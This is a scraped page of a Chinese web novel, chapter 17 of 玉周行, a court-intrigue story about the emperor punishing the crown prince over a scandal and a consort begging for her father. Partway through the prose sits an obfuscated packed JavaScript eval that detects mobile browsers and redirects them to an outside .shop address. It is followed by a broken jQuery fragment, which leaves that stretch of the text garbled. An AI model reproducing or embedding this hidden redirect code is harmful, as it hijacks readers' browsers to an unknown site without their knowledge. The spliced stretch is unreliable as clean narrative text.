文趣网 > 都市小说 > 玉周行 > 17. 第十七章
    孟钰刚踏出进奏院门,便察觉周遭气氛大变。

    明明是节庆将近的时节,街上不见喜庆欢语,满是肃静沉闷。

    往来的金吾卫士比往日多出数倍,甲叶碰撞之声嘈嘈杂杂。

    沿途几处进奏院的大门外,都派驻了士卒把守,院门半闭,无人进出,寻常行人也被驱离至道旁。

    像自己这般的路人都加紧了步伐,边走边斜眼觑视,行色匆匆,不敢做任何停留,连孩童也被父母抱起半捂着脸。

    孟钰入京大半载,从未见过崇仁坊如此的死气沉沉。

    难怪孙绍文急切地赶自己回家,她属实没想到宫中速度会这样快,还未到午时,已经盘查到各处进奏院了。

    孟钰收束心神,随人流快步而行,半刻钟后终于无虞地赶到了家门口。

    纭娘和许沱焦急地徘徊在虚掩的宅门内,看见孟钰的身影步步趋近,立即开门将她迎进去。

    “沅微你可回来了,方才我们正要出门采办过节之物,谁知刚到街口,就瞧见大批禁军四处布散开,坊门也戒严了。想去找你,又怕给你添乱,只能在门口这样守着。你一路回来没遇上什么事吧?”

    “无妨,外头出了大事,家中吃食还够吗,近日尽量不要出门了。”

    孟钰朝外探头探脑看去,也不见有什么多余的动静。

    “吃是够吃,可再过两日就不剩什么好东西了。”纭娘叹息道。

    “无碍,想必也就禁这一两日,只是我瞧着有些不对劲。”

    许沱和纭娘不解,孟钰也未解释,让他们各去忙,一个人沉思着回了书房。

    若是如方才那人所述,举子本意状告右相贪腐,按规制应由三司行事,出面抓捕的该是御史台。

    至进奏院传讯也实属正常,毕竟举子和商人多是外来的。

    可不该如此众多的金吾卫,这么快部署在各处进奏院外看守。

    一定是出了严重数倍的状况。

    孟钰坐在案前,听着院子槐树上聒噪的知了叫声,心绪杂乱,不敢再细想。

    ..........

    兴庆殿内,门窗紧闭,满室森然。

    圣人静坐于御案之后,自舒王呈上奏报后,已沉默不语许久。

    殿中烛火摇曳,将他沉冷的面色映得明暗不定,周身翻涌的怒意如同蓄势的惊雷,压抑得旁人心神俱颤。

    内侍们守在殿外,齐齐垂首,脊背绷得笔直,烈日的灼烧让他们内里已经湿透,却无人敢动。

    高忠全远远地跪在远处锦茵之上,偌大殿堂落针可闻。

    “那个混账呢?”

    “回陛下,太子已在殿外脱衣卸簪跪下了。”

    “传他进来。”

    高忠全忍着膝盖的酸痛,跌跌撞撞爬起来,朝殿门碎步走去。

    须臾,一身素色中衣的太子闷头缓步入内,距御案尚有十余步,便扑通跪地,重重叩首。

    “儿臣该死,儿臣未管束好内眷,才出了这等有损阿耶圣名之事。”

    “前朝之事,内眷何辜。朕立你为太子至今业已有十五年,你竟还是这般没有担当。朕向来不求你有多大作为,可你如今却糊涂至此。自己一手谋划,被人钻了这么大空子,还累及朕的名声,你这个太子趁早还是不要做了。”

    圣人越说越恼怒,随手捡起一本奏折朝太子头顶上掷去。

    重重砸中太子背脊,可太子像是毫无知觉,身形连一丝晃动都无。

    “儿臣冤枉,儿对此事当真不知情。儿这月余来,不是在宫中伴驾,就是在府中修习自身,从未有过逾矩之举。”

    “你就仗着国子监司业已被收押,心中便有恃无恐。御史台拘拿的几人虽不是你等直接收买的那些,嘴里定然吐不出什么东西来。可朕告诉你,要定你的罪,用不着他们。”

    “阿耶圣明,儿真不知情,是良娣她见儿臣被右相压制许久,心中苦闷,便让她父亲在坊间找士子们收集消息。那些士子热血上头,才做了这等错事。右相之事也是千真万确,绝不是空穴来风,否则也不会有那些商贾愿意拿着贡单和各地州府凭证出面。”

    圣人闻言,冷哼一声,“那你消息倒是灵通,这么一会儿已经理清前因后果,倒给朕辨析起来了。”

    太子见圣人言语间已有所松动,乘胜追击道,“是良娣,收到了家中消息,就来儿面前痛哭。可儿身为一国储君,怎可姑息养奸,所以便立刻来宫中替她向阿耶请罪。此事都是儿臣不争气,管教无方,阿耶息怒。”

    圣人垂眼看着躬身伏地跪了许久的太子。

    他的这位嫡长子,天资不够聪颖,本性不够良善,懦弱好胜集于一身。

    除了血脉,好似都找不出什么其他的长处。

    可就是因为太子这样的中庸无能,自己才放心其居于储君之位这么多年。

    自己有时也会思虑,会不会把他压制得太厉害。

    不过每当午夜梦回,忆起过往,想到自己这个皇位是怎么来的,便再也软不下心来。

    纵然杨弋铨到底在做什么勾当,自己不是不清楚。

    但自己是一国之君啊,办一个盛大恢宏的寿辰又有何不可。

    怎么轮得到自己的儿子,朝臣,甚至是庶民来指摘。

    他指尖缓缓叩着御案,面上平静无波。

    说到底,还是礼部、太府寺行事粗疏,太子更是愚不可及,白白被人当作了棋子。

    “你回东宫去呆着吧,今岁千秋节你也不必参加了,禁足三个月,好好想想你这个太子到底该怎么做。”

    圣人不耐烦地闭上了眼,不愿再看太子一眼。

    太子虽知道,这样重要的庆典,自己不露面,会引起多少事端。

    但至少自己的储君之位还是保住了,只能再叩头谢恩,退出了殿。

    圣人又将高忠全唤进了殿。

    “忠全,你说,这件事到底是谁做的?”

    “陛下折煞奴婢了,奴婢一个深宫内侍,哪里能知道呢?”

    “是杨弋铨,还是老三老四,抑或是别的什么人。也无妨,朕看他还要掀起什么风浪。”

    圣人看着殿中香炉袅袅飘出的白烟,烘散开的龙涎香充斥进大殿的每个角落,他的盛怒终究还是找到了宣泄口。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17607085|205453||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “你去御史台、刑部还有大理寺传朕的旨意,让他们先审着,秋后该杀的杀,该流放的流放,剩下的士子永不许入仕,其余的不可再节外生枝闹出别的风波来。礼部和太府寺假传圣意,搜刮民财,该怎么判便怎么判。让他们不必再来回禀了,三司奏本送来给朕阅过即可。另去户部传旨,为表体恤,今年赋税各地可减免一成。”

    “诺,奴婢这就去办。”

    圣人突然又想到了什么,又喊住高忠全,“鸿胪寺那边不曾泄漏消息吧。”

    “应是没有,晋王一早就带着各国使节去了城北大营。”

    “老五,倒是沉得住气。”

    圣人眯了眯眼,看着身侧快化了的铜鎏金冰鉴。

    “罢了,这几日前朝之事不要再拿来烦朕,让杨弋铨他们自己处置,该送进宫的贡物,让他们安置好,花萼宴不要出岔子。”

    高忠全再次领了旨去了。

    殿内彻底安静了下来,圣人望向破子直棂窗外。

    龙池中成片的荷花,翠盖层层叠叠遮蔽水面,粉花迎风轻摇,细碎波光随风起伏,丝丝凉意顺着窗棂涌进内殿。

    半日来积压的烦闷尽数散去,一派悠然。

    ..........

    “殿下,殿下,妾知错了,您废黜妾不要紧,求您,求您,再救救我父亲!”

    东宫显德殿外,良娣已经跪求了半个时辰了。

    一身织金锦缎的宫装早已凌乱蜷皱,发髻松散歪斜,数支钗镮砸在地上已经断裂。

    连额头也磕破了,沁得原本娇嫩的肌肤一片血红。

    太子自兴庆宫归来后,便立即让人拟了黜放牒,要废了良娣。

    太子拘于内殿,烦躁不堪,随手执起一个三彩兽形灯就往地上掷去。

    他心中多恨,恨良娣一家不争气,恨杨弋铨阴险狠辣,恨圣人薄情寡义。

    “妹妹,你快起来,殿下如今也是自顾不暇,你体谅体谅他。”

    是太子妃来了。

    “姐姐,我,我如今可怎么活啊,殿下要废我,可我还有个孩子呢,殿下这是要剜我的心。”

    良娣哭得愈发悲戚,身体也开始摇摇欲坠。

    “妹妹,你要是信得过,以后我把逸儿当自己亲身骨肉。殿下也并不全然狠心,还是给你寻了个去处,至少你不会受家里牵连。只是以后吃斋念佛,多少清苦些。”

    其实许纨也不知道该如何再劝,她心里明白,深宫女子若是被废去寺院,便是穷途末路。

    自古以来只有周皇那一次例外。

    其他的谁不是在青灯黄卷旁郁郁而终,甚至是被搓磨致死。

    良娣听闻她这话,倒是来了劲,直起了背,怒视着许纨,“姐姐,你且瞧着吧,咱们的这位殿下,负心薄幸,临了了,只会周全自己。我是活不成了,逸儿到底是东宫如今唯一的血脉,我就托付给你了,也不枉我从前敬重你。”

    说完,不管许纨是何反应,径直起身出了中门,一向端雅的宫妇,鬓乱钗横,再也不顾任何人的目光。

    许纨看着她僵直的背影,心头满是物伤其类的悲凉。